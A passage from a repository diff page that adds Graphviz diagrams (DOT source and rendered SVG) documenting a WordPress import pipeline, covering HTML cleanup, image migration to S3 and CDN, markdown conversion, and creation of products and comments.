<polygon fill="white" stroke="transparent" points="-4,4 -4,-207 2653,-207 2653,4 -4,4"/>
<g id="clust1" class="cluster">
<title>cluster_phase1</title>
<polygon fill="none" stroke="#5871ad" stroke-dasharray="5,2" points="207,-57 207,-144 938,-144 938,-57 207,-57"/>
<text text-anchor="middle" x="572.5" y="-128.8" font-family="Times,serif" font-size="14.00">Phase 1: Pre&#45;process (BeautifulSoup)</text>
</g>
<g id="clust2" class="cluster">
<title>cluster_phase2</title>
<polygon fill="none" stroke="#58ad71" stroke-dasharray="5,2" points="958,-57 958,-144 1706,-144 1706,-57 958,-57"/>
<text text-anchor="middle" x="1332" y="-128.8" font-family="Times,serif" font-size="14.00">Phase 2: Image Migration</text>
</g>
<g id="clust3" class="cluster">
<title>cluster_phase3</title>
<polygon fill="none" stroke="#ad8f58" stroke-dasharray="5,2" points="1726,-8 1726,-195 2021,-195 2021,-8 1726,-8"/>
<text text-anchor="middle" x="1873.5" y="-179.8" font-family="Times,serif" font-size="14.00">Phase 3: markdownify</text>
</g>
<g id="clust4" class="cluster">
<title>cluster_phase4</title>
<polygon fill="none" stroke="#666666" stroke-dasharray="5,2" points="2041,-57 2041,-144 2478,-144 2478,-57 2041,-57"/>
<text text-anchor="middle" x="2259.5" y="-128.8" font-family="Times,serif" font-size="14.00">Phase 4: Post&#45;process</text>
</g>
<!-- raw_html -->
<g id="node1" class="node">
<title>raw_html</title>
<polygon fill="#fce4ec" stroke="black" points="173,-123 0,-123 0,-55 179,-55 179,-117 173,-123"/>
<polyline fill="none" stroke="black" points="173,-123 173,-117 "/>
<polyline fill="none" stroke="black" points="179,-117 173,-117 "/>
<text text-anchor="middle" x="89.5" y="-111.8" font-family="monospace" font-size="9.00">Raw WordPress HTML</text>
<text text-anchor="middle" x="89.5" y="-91.8" font-family="monospace" font-size="9.00">&lt;!&#45;&#45; wp:paragraph &#45;&#45;&gt;</text>
<text text-anchor="middle" x="89.5" y="-81.8" font-family="monospace" font-size="9.00">&lt;p class=&quot;has&#45;large&#45;font&#45;size&quot;&gt;</text>
<text text-anchor="middle" x="89.5" y="-71.8" font-family="monospace" font-size="9.00">[gallery ids=&quot;1,2,3&quot;]</text>
<text text-anchor="middle" x="89.5" y="-61.8" font-family="monospace" font-size="9.00">&lt;img srcset=&quot;...&quot; /&gt;</text>
</g>
<!-- strip_gutenberg -->
<g id="node2" class="node">
<title>strip_gutenberg</title>
<path fill="#e8eaf6" stroke="black" d="M319,-108C319,-108 227,-108 227,-108 221,-108 215,-102 215,-96 215,-96 215,-82 215,-82 215,-76 221,-70 227,-70 227,-70 319,-70 319,-70 325,-70 331,-76 331,-82 331,-82 331,-96 331,-96 331,-102 325,-108 319,-108"/>
<text text-anchor="middle" x="273" y="-96.8" font-family="monospace" font-size="9.00">Strip Gutenberg</text>
<text text-anchor="middle" x="273" y="-86.8" font-family="monospace" font-size="9.00">comments</text>
<text text-anchor="middle" x="273" y="-76.8" font-family="monospace" font-size="9.00">&lt;!&#45;&#45; /?wp:\S+.*?&#45;&#45;&gt;</text>
</g>
<!-- raw_html&#45;&gt;strip_gutenberg -->
<g id="edge1" class="edge">
<title>raw_html&#45;&gt;strip_gutenberg</title>
<path fill="none" stroke="black" d="M179.12,-89C187.76,-89 196.42,-89 204.8,-89"/>
<polygon fill="black" stroke="black" points="204.85,-92.5 214.85,-89 204.85,-85.5 204.85,-92.5"/>
</g>
<!-- strip_shortcodes -->
<g id="node3" class="node">
<title>strip_shortcodes</title>
<path fill="#e8eaf6" stroke="black" d="M466,-113C466,-113 379,-113 379,-113 373,-113 367,-107 367,-101 367,-101 367,-77 367,-77 367,-71 373,-65 379,-65 379,-65 466,-65 466,-65 472,-65 478,-71 478,-77 478,-77 478,-101 478,-101 478,-107 472,-113 466,-113"/>
<text text-anchor="middle" x="422.5" y="-101.8" font-family="monospace" font-size="9.00">Strip shortcodes</text>
<text text-anchor="middle" x="422.5" y="-91.8" font-family="monospace" font-size="9.00">[vc_*] [et_pb_*]</text>
<text text-anchor="middle" x="422.5" y="-81.8" font-family="monospace" font-size="9.00">[fusion_*]</text>
<text text-anchor="middle" x="422.5" y="-71.8" font-family="monospace" font-size="9.00">keep inner content</text>
</g>
<!-- strip_gutenberg&#45;&gt;strip_shortcodes -->
<g id="edge2" class="edge">
<title>strip_gutenberg&#45;&gt;strip_shortcodes</title>
<path fill="none" stroke="black" d="M331.03,-89C339.33,-89 347.92,-89 356.37,-89"/>
<polygon fill="black" stroke="black" points="356.56,-92.5 366.56,-89 356.56,-85.5 356.56,-92.5"/>
</g>
<!-- convert_embeds -->
<g id="node4" class="node">
<title>convert_embeds</title>
<path fill="#e8eaf6" stroke="black" d="M613,-108C613,-108 526,-108 526,-108 520,-108 514,-102 514,-96 514,-96 514,-82 514,-82 514,-76 520,-70 526,-70 526,-70 613,-70 613,-70 619,-70 625,-76 625,-82 625,-82 625,-96 625,-96 625,-102 619,-108 613,-108"/>
<text text-anchor="middle" x="569.5" y="-96.8" font-family="monospace" font-size="9.00">Convert embeds</text>
<text text-anchor="middle" x="569.5" y="-86.8" font-family="monospace" font-size="9.00">[embed]URL[/embed]</text>
<text text-anchor="middle" x="569.5" y="-76.8" font-family="monospace" font-size="9.00">→ bare URL</text>
</g>
<!-- strip_shortcodes&#45;&gt;convert_embeds -->
<g id="edge3" class="edge">
<title>strip_shortcodes&#45;&gt;convert_embeds</title>
<path fill="none" stroke="black" d="M478.32,-89C486.53,-89 495.06,-89 503.46,-89"/>
<polygon fill="black" stroke="black" points="503.6,-92.5 513.6,-89 503.6,-85.5 503.6,-92.5"/>
</g>
<!-- convert_captions -->
<g id="node5" class="node">
<title>convert_captions</title>
<path fill="#e8eaf6" stroke="black" d="M771,-107C771,-107 673,-107 673,-107 667,-107 661,-101 661,-95 661,-95 661,-83 661,-83 661,-77 667,-71 673,-71 673,-71 771,-71 771,-71 777,-71 783,-77 783,-83 783,-83 783,-95 783,-95 783,-101 777,-107 771,-107"/>
<text text-anchor="middle" x="722" y="-91.8" font-family="monospace" font-size="9.00">Convert captions</text>
<text text-anchor="middle" x="722" y="-81.8" font-family="monospace" font-size="9.00">[caption] → &lt;figure&gt;</text>
</g>
<!-- convert_embeds&#45;&gt;convert_captions -->
<g id="edge4" class="edge">
<title>convert_embeds&#45;&gt;convert_captions</title>
<path fill="none" stroke="black" d="M625.26,-89C633.6,-89 642.3,-89 650.9,-89"/>
<polygon fill="black" stroke="black" points="650.94,-92.5 660.94,-89 650.94,-85.5 650.94,-92.5"/>
</g>
<!-- strip_srcset -->
<g id="node6" class="node">
<title>strip_srcset</title>
<path fill="#e8eaf6" stroke="black" d="M918,-108C918,-108 831,-108 831,-108 825,-108 819,-102 819,-96 819,-96 819,-82 819,-82 819,-76 825,-70 831,-70 831,-70 918,-70 918,-70 924,-70 930,-76 930,-82 930,-82 930,-96 930,-96 930,-102 924,-108 918,-108"/>
<text text-anchor="middle" x="874.5" y="-96.8" font-family="monospace" font-size="9.00">Strip srcset/sizes</text>
<text text-anchor="middle" x="874.5" y="-86.8" font-family="monospace" font-size="9.00">Strip WP classes</text>
<text text-anchor="middle" x="874.5" y="-76.8" font-family="monospace" font-size="9.00">Unwrap empty divs</text>
</g>
<!-- convert_captions&#45;&gt;strip_srcset -->
<g id="edge5" class="edge">
<title>convert_captions&#45;&gt;strip_srcset</title>
<path fill="none" stroke="black" d="M783.35,-89C791.72,-89 800.35,-89 808.79,-89"/>
<polygon fill="black" stroke="black" points="808.98,-92.5 818.98,-89 808.98,-85.5 808.98,-92.5"/>
</g>
<!-- find_imgs -->
<g id="node7" class="node">
<title>find_imgs</title>
<path fill="#e8f5e9" stroke="black" d="M1076,-108C1076,-108 978,-108 978,-108 972,-108 966,-102 966,-96 966,-96 966,-82 966,-82 966,-76 972,-70 978,-70 978,-70 1076,-70 1076,-70 1082,-70 1088,-76 1088,-82 1088,-82 1088,-96 1088,-96 1088,-102 1082,-108 1076,-108"/>
<text text-anchor="middle" x="1027" y="-96.8" font-family="monospace" font-size="9.00">Find all &lt;img&gt; src</text>
<text text-anchor="middle" x="1027" y="-86.8" font-family="monospace" font-size="9.00">and background&#45;image</text>
<text text-anchor="middle" x="1027" y="-76.8" font-family="monospace" font-size="9.00">URLs</text>
</g>
<!-- strip_srcset&#45;&gt;find_imgs -->
<g id="edge6" class="edge">
<title>strip_srcset&#45;&gt;find_imgs</title>
<path fill="none" stroke="black" d="M930.26,-89C938.6,-89 947.3,-89 955.9,-89"/>
<polygon fill="black" stroke="black" points="955.94,-92.5 965.94,-89 955.94,-85.5 955.94,-92.5"/>
</g>
<!-- strip_suffix -->
<g id="node8" class="node">
<title>strip_suffix</title>
<path fill="#e8f5e9" stroke="black" d="M1234,-113C1234,-113 1136,-113 1136,-113 1130,-113 1124,-107 1124,-101 1124,-101 1124,-77 1124,-77 1124,-71 1130,-65 1136,-65 1136,-65 1234,-65 1234,-65 1240,-65 1246,-71 1246,-77 1246,-77 1246,-101 1246,-101 1246,-107 1240,-113 1234,-113"/>
<text text-anchor="middle" x="1185" y="-101.8" font-family="monospace" font-size="9.00">Strip WP size suffix</text>
<text text-anchor="middle" x="1185" y="-91.8" font-family="monospace" font-size="9.00">&#45;300x200 → original</text>
<text text-anchor="middle" x="1185" y="-81.8" font-family="monospace" font-size="9.00">photo&#45;1024x768.jpg</text>
<text text-anchor="middle" x="1185" y="-71.8" font-family="monospace" font-size="9.00">→ photo.jpg</text>
</g>
<!-- find_imgs&#45;&gt;strip_suffix -->
<g id="edge7" class="edge">
<title>find_imgs&#45;&gt;strip_suffix</title>
<path fill="none" stroke="black" d="M1088.31,-89C1096.6,-89 1105.17,-89 1113.63,-89"/>
<polygon fill="black" stroke="black" points="1113.85,-92.5 1123.85,-89 1113.85,-85.5 1113.85,-92.5"/>
</g>
<!-- download -->
<g id="node9" class="node">
<title>download</title>
<path fill="#e8f5e9" stroke="black" d="M1376,-113C1376,-113 1294,-113 1294,-113 1288,-113 1282,-107 1282,-101 1282,-101 1282,-77 1282,-77 1282,-71 1288,-65 1294,-65 1294,-65 1376,-65 1376,-65 1382,-65 1388,-71 1388,-77 1388,-77 1388,-101 1388,-101 1388,-107 1382,-113 1376,-113"/>
<text text-anchor="middle" x="1335" y="-101.8" font-family="monospace" font-size="9.00">Download original</text>
<text text-anchor="middle" x="1335" y="-91.8" font-family="monospace" font-size="9.00">from WP server</text>
<text text-anchor="middle" x="1335" y="-81.8" font-family="monospace" font-size="9.00">requests.get()</text>
<text text-anchor="middle" x="1335" y="-71.8" font-family="monospace" font-size="9.00">timeout=30s</text>
</g>
<!-- strip_suffix&#45;&gt;download -->
<g id="edge8" class="edge">
<title>strip_suffix&#45;&gt;download</title>
<path fill="none" stroke="black" d="M1246.2,-89C1254.62,-89 1263.29,-89 1271.74,-89"/>
<polygon fill="black" stroke="black" points="1271.92,-92.5 1281.92,-89 1271.92,-85.5 1271.92,-92.5"/>
</g>
<!-- upload_s3 -->
<g id="node10" class="node">
<title>upload_s3</title>
<path fill="#e8f5e9" stroke="black" d="M1549,-113C1549,-113 1436,-113 1436,-113 1430,-113 1424,-107 1424,-101 1424,-101 1424,-77 1424,-77 1424,-71 1430,-65 1436,-65 1436,-65 1549,-65 1549,-65 1555,-65 1561,-71 1561,-77 1561,-77 1561,-101 1561,-101 1561,-107 1555,-113 1549,-113"/>
<text text-anchor="middle" x="1492.5" y="-101.8" font-family="monospace" font-size="9.00">Upload to S3</text>
<text text-anchor="middle" x="1492.5" y="-91.8" font-family="monospace" font-size="9.00">{shop_id}/{product_id}/</text>
<text text-anchor="middle" x="1492.5" y="-81.8" font-family="monospace" font-size="9.00">inline/{filename}</text>
<text text-anchor="middle" x="1492.5" y="-71.8" font-family="monospace" font-size="9.00">ACL=public&#45;read</text>
</g>
<!-- download&#45;&gt;upload_s3 -->
<g id="edge9" class="edge">
<title>download&#45;&gt;upload_s3</title>
<path fill="none" stroke="black" d="M1388.21,-89C1396.46,-89 1405.13,-89 1413.81,-89"/>
<polygon fill="black" stroke="black" points="1413.96,-92.5 1423.96,-89 1413.96,-85.5 1413.96,-92.5"/>
</g>
<!-- rewrite -->
<g id="node11" class="node">
<title>rewrite</title>
<path fill="#e8f5e9" stroke="black" d="M1686,-108C1686,-108 1609,-108 1609,-108 1603,-108 1597,-102 1597,-96 1597,-96 1597,-82 1597,-82 1597,-76 1603,-70 1609,-70 1609,-70 1686,-70 1686,-70 1692,-70 1698,-76 1698,-82 1698,-82 1698,-96 1698,-96 1698,-102 1692,-108 1686,-108"/>
<text text-anchor="middle" x="1647.5" y="-96.8" font-family="monospace" font-size="9.00">Rewrite src URLs</text>
<text text-anchor="middle" x="1647.5" y="-86.8" font-family="monospace" font-size="9.00">old WP URL</text>
<text text-anchor="middle" x="1647.5" y="-76.8" font-family="monospace" font-size="9.00">→ CDN URL</text>
</g>
<!-- upload_s3&#45;&gt;rewrite -->
<g id="edge10" class="edge">
<title>upload_s3&#45;&gt;rewrite</title>
<path fill="none" stroke="black" d="M1561.05,-89C1569.59,-89 1578.28,-89 1586.68,-89"/>
<polygon fill="black" stroke="black" points="1586.77,-92.5 1596.77,-89 1586.77,-85.5 1586.77,-92.5"/>
</g>
<!-- converter -->
<g id="node12" class="node">
<title>converter</title>
<path fill="#fff8e1" stroke="black" d="M1833,-108C1833,-108 1746,-108 1746,-108 1740,-108 1734,-102 1734,-96 1734,-96 1734,-82 1734,-82 1734,-76 1740,-70 1746,-70 1746,-70 1833,-70 1833,-70 1839,-70 1845,-76 1845,-82 1845,-82 1845,-96 1845,-96 1845,-102 1839,-108 1833,-108"/>
<text text-anchor="middle" x="1789.5" y="-96.8" font-family="monospace" font-size="9.00">WPConverter</text>
<text text-anchor="middle" x="1789.5" y="-86.8" font-family="monospace" font-size="9.00">(MarkdownConverter</text>
<text text-anchor="middle" x="1789.5" y="-76.8" font-family="monospace" font-size="9.00">subclass)</text>
</g>
<!-- rewrite&#45;&gt;converter -->
<g id="edge11" class="edge">
<title>rewrite&#45;&gt;converter</title>
<path fill="none" stroke="black" d="M1698.25,-89C1706.41,-89 1714.97,-89 1723.43,-89"/>
<polygon fill="black" stroke="black" points="1723.67,-92.5 1733.67,-89 1723.67,-85.5 1723.67,-92.5"/>
</g>
<!-- figures -->
<g id="node13" class="node">
<title>figures</title>
<path fill="#fff8e1" stroke="black" d="M2001,-52C2001,-52 1893,-52 1893,-52 1887,-52 1881,-46 1881,-40 1881,-40 1881,-28 1881,-28 1881,-22 1887,-16 1893,-16 1893,-16 2001,-16 2001,-16 2007,-16 2013,-22 2013,-28 2013,-28 2013,-40 2013,-40 2013,-46 2007,-52 2001,-52"/>
<text text-anchor="middle" x="1947" y="-36.8" font-family="monospace" font-size="9.00">&lt;figure&gt; → ![alt](url)</text>
<text text-anchor="middle" x="1947" y="-26.8" font-family="monospace" font-size="9.00">&lt;figcaption&gt; → caption</text>
</g>
<!-- converter&#45;&gt;figures -->
<g id="edge12" class="edge">
<title>converter&#45;&gt;figures</title>
<path fill="none" stroke="black" d="M1844.45,-69.92C1857.65,-65.25 1871.86,-60.22 1885.35,-55.45"/>
<polygon fill="black" stroke="black" points="1886.76,-58.67 1895.02,-52.03 1884.43,-52.07 1886.76,-58.67"/>
</g>
<!-- code -->
<g id="node14" class="node">
<title>code</title>
<path fill="#fff8e1" stroke="black" d="M1993,-108C1993,-108 1901,-108 1901,-108 1895,-108 1889,-102 1889,-96 1889,-96 1889,-82 1889,-82 1889,-76 1895,-70 1901,-70 1901,-70 1993,-70 1993,-70 1999,-70 2005,-76 2005,-82 2005,-82 2005,-96 2005,-96 2005,-102 1999,-108 1993,-108"/>
<text text-anchor="middle" x="1947" y="-96.8" font-family="monospace" font-size="9.00">&lt;pre&gt;&lt;code</text>
<text text-anchor="middle" x="1947" y="-86.8" font-family="monospace" font-size="9.00">class=&quot;language&#45;*&quot;&gt;</text>
<text text-anchor="middle" x="1947" y="-76.8" font-family="monospace" font-size="9.00">→ fenced code block</text>
</g>
<!-- converter&#45;&gt;code -->
<g id="edge13" class="edge">
<title>converter&#45;&gt;code</title>
<path fill="none" stroke="black" d="M1845.32,-89C1856.1,-89 1867.53,-89 1878.66,-89"/>
<polygon fill="black" stroke="black" points="1878.78,-92.5 1888.78,-89 1878.78,-85.5 1878.78,-92.5"/>
</g>
<!-- headings -->
<g id="node15" class="node">
<title>headings</title>
<path fill="#fff8e1" stroke="black" d="M1988,-164C1988,-164 1906,-164 1906,-164 1900,-164 1894,-158 1894,-152 1894,-152 1894,-138 1894,-138 1894,-132 1900,-126 1906,-126 1906,-126 1988,-126 1988,-126 1994,-126 2000,-132 2000,-138 2000,-138 2000,-152 2000,-152 2000,-158 1994,-164 1988,-164"/>
<text text-anchor="middle" x="1947" y="-152.8" font-family="monospace" font-size="9.00">ATX headings (#)</text>
<text text-anchor="middle" x="1947" y="-142.8" font-family="monospace" font-size="9.00">body_width=0</text>
<text text-anchor="middle" x="1947" y="-132.8" font-family="monospace" font-size="9.00">unicode_snob=True</text>
</g>
<!-- converter&#45;&gt;headings -->
<g id="edge14" class="edge">
<title>converter&#45;&gt;headings</title>
<path fill="none" stroke="black" d="M1843.58,-108.12C1856.68,-112.83 1870.82,-117.92 1884.29,-122.77"/>
<polygon fill="black" stroke="black" points="1883.36,-126.16 1893.95,-126.26 1885.73,-119.57 1883.36,-126.16"/>
</g>
<!-- collapse -->
<g id="node16" class="node">
<title>collapse</title>
<path fill="#f5f5f5" stroke="black" d="M2159,-107C2159,-107 2061,-107 2061,-107 2055,-107 2049,-101 2049,-95 2049,-95 2049,-83 2049,-83 2049,-77 2055,-71 2061,-71 2061,-71 2159,-71 2159,-71 2165,-71 2171,-77 2171,-83 2171,-83 2171,-95 2171,-95 2171,-101 2165,-107 2159,-107"/>
<text text-anchor="middle" x="2110" y="-91.8" font-family="monospace" font-size="9.00">Collapse blank lines</text>
<text text-anchor="middle" x="2110" y="-81.8" font-family="monospace" font-size="9.00">3+ newlines → 2</text>
</g>
<!-- figures&#45;&gt;collapse -->
<!-- code&#45;&gt;collapse -->
<!-- headings&#45;&gt;collapse -->
<g id="edge17" class="edge">
<title>headings&#45;&gt;collapse</title>
<path fill="none" stroke="black" d="M2000.27,-126.82C2015.33,-121.58 2031.89,-115.82 2047.45,-110.41"/>
<polygon fill="black" stroke="black" points="2048.7,-113.68 2056.99,-107.09 2046.4,-107.07 2048.7,-113.68"/>
</g>
<!-- metadata -->
<g id="node17" class="node">
<title>metadata</title>
<path fill="#f5f5f5" stroke="black" d="M2311,-113C2311,-113 2219,-113 2219,-113 2213,-113 2207,-107 2207,-101 2207,-101 2207,-77 2207,-77 2207,-71 2213,-65 2219,-65 2219,-65 2311,-65 2311,-65 2317,-65 2323,-71 2323,-77 2323,-77 2323,-101 2323,-101 2323,-107 2317,-113 2311,-113"/>
<text text-anchor="middle" x="2265" y="-101.8" font-family="monospace" font-size="9.00">Prepend metadata</text>
<text text-anchor="middle" x="2265" y="-91.8" font-family="monospace" font-size="9.00">**Categories:** ...</text>
<text text-anchor="middle" x="2265" y="-81.8" font-family="monospace" font-size="9.00">**Tags:** ...</text>
<text text-anchor="middle" x="2265" y="-71.8" font-family="monospace" font-size="9.00">**Author:** ...</text>
</g>
<!-- collapse&#45;&gt;metadata -->
<g id="edge18" class="edge">
<title>collapse&#45;&gt;metadata</title>
<path fill="none" stroke="black" d="M2171.03,-89C2179.36,-89 2187.97,-89 2196.43,-89"/>
<polygon fill="black" stroke="black" points="2196.64,-92.5 2206.64,-89 2196.64,-85.5 2196.64,-92.5"/>
</g>
<!-- flag -->
<g id="node18" class="node">
<title>flag</title>
<path fill="#f5f5f5" stroke="black" d="M2458,-108C2458,-108 2371,-108 2371,-108 2365,-108 2359,-102 2359,-96 2359,-96 2359,-82 2359,-82 2359,-76 2365,-70 2371,-70 2371,-70 2458,-70 2458,-70 2464,-70 2470,-76 2470,-82 2470,-82 2470,-96 2470,-96 2470,-102 2464,-108 2458,-108"/>
<text text-anchor="middle" x="2414.5" y="-96.8" font-family="monospace" font-size="9.00">Flag posts with</text>
<text text-anchor="middle" x="2414.5" y="-86.8" font-family="monospace" font-size="9.00">unconverted &lt;html&gt;</text>
<text text-anchor="middle" x="2414.5" y="-76.8" font-family="monospace" font-size="9.00">for manual review</text>
</g>
<!-- metadata&#45;&gt;flag -->
<g id="edge19" class="edge">
<title>metadata&#45;&gt;flag</title>
<path fill="none" stroke="black" d="M2323.03,-89C2331.33,-89 2339.92,-89 2348.37,-89"/>
<polygon fill="black" stroke="black" points="2348.56,-92.5 2358.56,-89 2348.56,-85.5 2348.56,-92.5"/>
</g>
<!-- output -->
<g id="node19" class="node">
<title>output</title>
<polygon fill="#e8f5e9" stroke="black" points="2643,-128 2506,-128 2506,-50 2649,-50 2649,-122 2643,-128"/>
<polyline fill="none" stroke="black" points="2643,-128 2643,-122 "/>
<polyline fill="none" stroke="black" points="2649,-122 2643,-122 "/>
<text text-anchor="middle" x="2577.5" y="-116.8" font-family="monospace" font-size="9.00">MPS Content</text>
<text text-anchor="middle" x="2577.5" y="-96.8" font-family="monospace" font-size="9.00">Product.description</text>
<text text-anchor="middle" x="2577.5" y="-86.8" font-family="monospace" font-size="9.00">(raw markdown)</text>
<text text-anchor="middle" x="2577.5" y="-66.8" font-family="monospace" font-size="9.00">Product.description_html</text>
<text text-anchor="middle" x="2577.5" y="-56.8" font-family="monospace" font-size="9.00">(rendered HTML)</text>
</g>
<!-- flag&#45;&gt;output -->
<g id="edge20" class="edge">
<title>flag&#45;&gt;output</title>
<path fill="none" stroke="black" d="M2470.01,-89C2478.27,-89 2486.94,-89 2495.62,-89"/>
<polygon fill="black" stroke="black" points="2495.78,-92.5 2505.78,-89 2495.78,-85.5 2495.78,-92.5"/>
</g>
</g>
</svg>
Side by side

After

Width:  |  Height:  |  Size: 21 KiB

82
docs/wordpress-import-pipeline.dot Normal file
View file

@ -0,0 +1,82 @@
// WordPress Import Pipeline — Overview
// Render: dot -Tsvg docs/wordpress-import-pipeline.dot -o docs/wordpress-import-pipeline.dot.svg
digraph wordpress_import {
rankdir=TB;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
subgraph cluster_source {
label="WordPress Source";
style=dashed;
color="#ad5871";
rest_api [label="REST API\n/wp-json/wp/v2/*\n(live site, no auth)", fillcolor="#fce4ec"];
wxr_file [label="WXR XML Export\n(offline file)\nTools > Export", fillcolor="#fce4ec"];
}
subgraph cluster_parser {
label="Source Parser";
style=dashed;
color="#5871ad";
api_parser [label="REST API Client\nrequests + pagination\nper_page=100, ?_embed", fillcolor="#e8eaf6"];
wxr_parser [label="WXR Parser\nxml.etree.ElementTree\nnamespace-aware", fillcolor="#e8eaf6"];
normalize [label="Normalize\nUnified post dict\n(title, html, date,\nmedia_urls, comments)", fillcolor="#e8eaf6"];
}
subgraph cluster_convert {
label="HTML Conversion Pipeline";
style=dashed;
color="#58ad71";
preprocess [label="Phase 1: Pre-process\nBeautifulSoup\n- strip Gutenberg comments\n- strip shortcodes\n- strip srcset/sizes\n- strip WP classes", fillcolor="#e8f5e9"];
images [label="Phase 2: Image Migration\n- strip -WxH suffixes\n- download originals\n- upload to S3\n- rewrite URLs to CDN", fillcolor="#e8f5e9"];
markdown [label="Phase 3: Markdown\nmarkdownify (MIT)\n- custom WPConverter\n- figures, code blocks\n- ATX headings", fillcolor="#e8f5e9"];
postprocess [label="Phase 4: Post-process\n- collapse blank lines\n- prepend metadata\n- flag unconverted HTML", fillcolor="#e8f5e9"];
}
subgraph cluster_mps {
label="MPS (Target)";
style=dashed;
color="#ad8f58";
create_product [label="Create Product\nis_sellable=False\nset title, description,\ntimestamps, visibility", fillcolor="#fff8e1"];
upload_thumb [label="Upload Thumbnail\nput_object to S3\nset_file_metadata\nACL=public-read", fillcolor="#fff8e1"];
create_comments [label="Create Comments\nthreaded via parent_id\nmarkdown + sentiment", fillcolor="#fff8e1"];
reforge [label="Reforge Discovery Ring\nJaccard similarity\nnearest-neighbor ordering", fillcolor="#fff8e1"];
}
subgraph cluster_storage {
label="Storage";
style=dashed;
color="#666666";
sqlite [label="SQLite\nproducts + comments", fillcolor="#f5f5f5"];
s3 [label="S3 / Spaces\nthumbnails + inline images\nBYOB-aware", fillcolor="#f5f5f5"];
cdn [label="CDN\npublic URLs\n?ts= cache bust", fillcolor="#f5f5f5"];
}
// Edges
rest_api -> api_parser;
wxr_file -> wxr_parser;
api_parser -> normalize;
wxr_parser -> normalize;
normalize -> preprocess;
preprocess -> images;
images -> markdown;
markdown -> postprocess;
postprocess -> create_product;
normalize -> create_comments [label="comments\n(optional)", style=dashed];
normalize -> upload_thumb [label="featured\nimage URL", style=dashed];
create_product -> sqlite;
create_comments -> sqlite;
upload_thumb -> s3;
images -> s3 [label="inline\nimages"];
s3 -> cdn;
create_product -> reforge [label="after all\nproducts"];
reforge -> sqlite;
}

292
docs/wordpress-import-pipeline.dot.svg Normal file
View file

@ -0,0 +1,292 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.43.0 (0)
-->
<!-- Title: wordpress_import Pages: 1 -->
<svg width="560pt" height="1135pt"
viewBox="0.00 0.00 560.00 1135.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 1131)">
<title>wordpress_import</title>
<polygon fill="white" stroke="transparent" points="-4,4 -4,-1131 556,-1131 556,4 -4,4"/>
<g id="clust1" class="cluster">
<title>cluster_source</title>
<polygon fill="none" stroke="#ad5871" stroke-dasharray="5,2" points="103,-1039 103,-1119 376,-1119 376,-1039 103,-1039"/>
<text text-anchor="middle" x="239.5" y="-1103.8" font-family="Times,serif" font-size="14.00">WordPress Source</text>
</g>
<g id="clust2" class="cluster">
<title>cluster_parser</title>
<polygon fill="none" stroke="#5871ad" stroke-dasharray="5,2" points="85,-851 85,-1020 406,-1020 406,-851 85,-851"/>
<text text-anchor="middle" x="245.5" y="-1004.8" font-family="Times,serif" font-size="14.00">Source Parser</text>
</g>
<g id="clust3" class="cluster">
<title>cluster_convert</title>
<polygon fill="none" stroke="#58ad71" stroke-dasharray="5,2" points="8,-411 8,-832 216,-832 216,-411 8,-411"/>
<text text-anchor="middle" x="112" y="-816.8" font-family="Times,serif" font-size="14.00">HTML Conversion Pipeline</text>
</g>
<g id="clust4" class="cluster">
<title>cluster_mps</title>
<polygon fill="none" stroke="#ad8f58" stroke-dasharray="5,2" points="68,-185 68,-373 544,-373 544,-185 68,-185"/>
<text text-anchor="middle" x="306" y="-357.8" font-family="Times,serif" font-size="14.00">MPS (Target)</text>
</g>
<g id="clust5" class="cluster">
<title>cluster_storage</title>
<polygon fill="none" stroke="#666666" stroke-dasharray="5,2" points="41,-8 41,-166 380,-166 380,-8 41,-8"/>
<text text-anchor="middle" x="210.5" y="-150.8" font-family="Times,serif" font-size="14.00">Storage</text>
</g>
<!-- rest_api -->
<g id="node1" class="node">
<title>rest_api</title>
<path fill="#fce4ec" stroke="black" d="M236.5,-1088C236.5,-1088 123.5,-1088 123.5,-1088 117.5,-1088 111.5,-1082 111.5,-1076 111.5,-1076 111.5,-1059 111.5,-1059 111.5,-1053 117.5,-1047 123.5,-1047 123.5,-1047 236.5,-1047 236.5,-1047 242.5,-1047 248.5,-1053 248.5,-1059 248.5,-1059 248.5,-1076 248.5,-1076 248.5,-1082 242.5,-1088 236.5,-1088"/>
<text text-anchor="middle" x="180" y="-1076" font-family="monospace" font-size="10.00">REST API</text>
<text text-anchor="middle" x="180" y="-1065" font-family="monospace" font-size="10.00">/wp&#45;json/wp/v2/*</text>
<text text-anchor="middle" x="180" y="-1054" font-family="monospace" font-size="10.00">(live site, no auth)</text>
</g>
<!-- api_parser -->
<g id="node3" class="node">
<title>api_parser</title>
<path fill="#e8eaf6" stroke="black" d="M224.5,-989C224.5,-989 105.5,-989 105.5,-989 99.5,-989 93.5,-983 93.5,-977 93.5,-977 93.5,-960 93.5,-960 93.5,-954 99.5,-948 105.5,-948 105.5,-948 224.5,-948 224.5,-948 230.5,-948 236.5,-954 236.5,-960 236.5,-960 236.5,-977 236.5,-977 236.5,-983 230.5,-989 224.5,-989"/>
<text text-anchor="middle" x="165" y="-977" font-family="monospace" font-size="10.00">REST API Client</text>
<text text-anchor="middle" x="165" y="-966" font-family="monospace" font-size="10.00">requests + pagination</text>
<text text-anchor="middle" x="165" y="-955" font-family="monospace" font-size="10.00">per_page=100, ?_embed</text>
</g>
<!-- rest_api&#45;&gt;api_parser -->
<g id="edge1" class="edge">
<title>rest_api&#45;&gt;api_parser</title>
<path fill="none" stroke="black" d="M176.96,-1046.87C174.85,-1033.2 171.99,-1014.71 169.6,-999.24"/>
<polygon fill="black" stroke="black" points="173.02,-998.45 168.03,-989.1 166.1,-999.52 173.02,-998.45"/>
</g>
<!-- wxr_file -->
<g id="node2" class="node">
<title>wxr_file</title>
<path fill="#fce4ec" stroke="black" d="M355.5,-1088C355.5,-1088 278.5,-1088 278.5,-1088 272.5,-1088 266.5,-1082 266.5,-1076 266.5,-1076 266.5,-1059 266.5,-1059 266.5,-1053 272.5,-1047 278.5,-1047 278.5,-1047 355.5,-1047 355.5,-1047 361.5,-1047 367.5,-1053 367.5,-1059 367.5,-1059 367.5,-1076 367.5,-1076 367.5,-1082 361.5,-1088 355.5,-1088"/>
<text text-anchor="middle" x="317" y="-1076" font-family="monospace" font-size="10.00">WXR XML Export</text>
